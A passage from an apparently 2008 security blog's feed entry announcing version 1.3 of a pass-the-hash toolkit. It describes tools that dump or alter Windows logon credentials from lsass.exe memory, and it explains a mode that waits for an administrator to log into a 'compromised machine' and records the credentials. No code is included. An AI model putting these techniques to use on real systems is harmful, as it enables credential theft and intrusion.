(hochoa@coresecurity.com, hernan@gmail.com)&lt;br /&gt;=====================================================================================&lt;br /&gt;&lt;br /&gt;What's new?:&lt;br /&gt;&lt;br /&gt;* PASSTHEHASH.IDC: This .IDC IDA Pro script can be used to obtain the addresses&lt;br /&gt;iam and whosthere need to obtain/modify logon session credentials. Load LSASRV.DLL&lt;br /&gt;into IDA Pro (make sure to import the symbols) and run the script to get the&lt;br /&gt;addresses you need to add to the source code to add support for the LSASRV.DLL version&lt;br /&gt;you have, in case it is not supported yet.&lt;br /&gt;If you use the script, please send me the addresses so I can include them in&lt;br /&gt;the next version of the toolkit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* IAM-ALT and WHOSTHERE-ALT: two new tools written from scratch that do the&lt;br /&gt;same thing that IAM and WHOSTHERE do but using a slightly different technique,&lt;br /&gt;aiming at making the tool work on more systems without requiring users to&lt;br /&gt;modify the source code of iam/whosthere (or wait for the next version:)). &lt;br /&gt;&lt;br /&gt;The good thing about this 'alt' version of the iam/whosthere tools is that &lt;br /&gt;they SHOULD work on more windows versions without modifications. &lt;br /&gt;The 'bad' thing is that both tools need to execute code inside lsass.exe.&lt;br /&gt;The tools basically use the functions MSV1_0.DLL!NlpDeletePrimaryCredential,&lt;br /&gt;MSV1_0.DLL!NlpAddPrimaryCredential, and MSV1_0.DLL!NlpGetPrimaryCredential;&lt;br /&gt;these are the functions gsecdump uses (if I'm not mistaken).&lt;br /&gt;The current heuristics used to find the functions inside MSV1_0.DLL is horrible&lt;br /&gt;but it works.&lt;br /&gt;&lt;br /&gt;whosthere uses a method tha allows it to obtain credentials just by&lt;br /&gt;reading memory, without executing any code. iam does not, but just&lt;br /&gt;because I'm lazy, it will do it eventually, the downside to this approach&lt;br /&gt;is that although it does use heuristics to verify hardcoded addresses, it&lt;br /&gt;does have hardcoded addresses anyways.And that's why to help solve this issue&lt;br /&gt;but at the same time maintain the possiblity of obtaining credentials&lt;br /&gt;without executing code inside lsass.exe, I created the passthehash.idc&lt;br /&gt;script. If you don't care about executing code inside lsass.exe, use&lt;br /&gt;whosthere-alt.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*iam/whosthere: Added support for more windows versions. including different languages.&lt;br /&gt;&lt;br /&gt;*iam/iam-alt: new syntax. now you have to use -h to specify the credentials.&lt;br /&gt;&lt;br /&gt;*whosthere/whosthere-alt: new -o switch to dump credentials to a file&lt;br /&gt;&lt;br /&gt;*whosthere/whosthere-alt: new -i switch that will make whosthere/whosthere-alt&lt;br /&gt;display current logon credentials found in memory and then wait forever for&lt;br /&gt;new logon sessions and display only those new sessions. you can use this switch&lt;br /&gt;together with the -o switch to dump credentials found to a file. Now you can leave the&lt;br /&gt;tool running and it will log all unique interactive logon sessions created, it makes&lt;br /&gt;easier the job of waiting for the administrator to log into the compromised&lt;br /&gt;machine where whosthere/whosthere-alt is running. Thanks to heathengod for the&lt;br /&gt;idea of this feature.&lt;br /&gt;&lt;br /&gt;*several bugfixes and stuff&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-8773212380320677147?l=hexale.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Hexale/~4/KQsMUS_zWBs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://hexale.blogspot.com/feeds/8773212380320677147/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=18555569&amp;postID=8773212380320677147&amp;isPopup=true" title="9 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/8773212380320677147" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/18555569/posts/default/8773212380320677147" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Hexale/~3/KQsMUS_zWBs/release-pass-hash-toolkit-v13.html" title="Release: Pass-The-Hash toolkit v1.3" /><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd="http://schemas.google.com/g/2005" name="OpenSocialUserId" value="14502570679437720077" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">9</thr:total><feedburner:origLink>http://hexale.blogspot.com/2008/02/release-pass-hash-toolkit-v13.html</feedburner:origLink></entry></feed>
